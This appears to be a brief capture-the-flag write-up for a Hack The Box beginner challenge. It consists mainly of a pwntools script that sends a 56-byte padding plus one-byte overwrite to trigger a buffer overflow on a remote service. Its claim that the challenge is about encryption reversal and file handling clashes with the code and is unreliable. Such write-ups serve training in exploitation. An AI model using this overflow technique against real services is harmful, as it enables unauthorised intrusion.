HackTheBox Space Pirate Going Deeper Writeup

Explore the basics of cybersecurity in the Space Pirate Going Deeper Challenge on Hack The Box. This very-easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

from pwn import *

def get_process():
    try:
        host, port = sys.argv[1].split(':')
        return remote(host, int(port))
    except IndexError:
        print(f'Usage: python {sys.argv[0]} <ip:port>')
        exit(1)

r = get_process()
r.recvrepeat(0.1)
r.sendline(b"1")
r.recvrepeat(0.1)
payload = b"A" * 56 + b"\x12"
r.sendline(payload)
r.interactive()

Summary

The Space Pirate Going Deeper Challenge on Hack The Box is a very-easy-level challenge focused on encryption reversal and file handling. It exploits a buffer overflow vulnerability in a remote service. Using Pwntools, the provided Python script sends a crafted payload to trigger the vulnerability, demonstrating basic exploitation techniques and helping beginners understand buffer overflow and remote interaction concepts.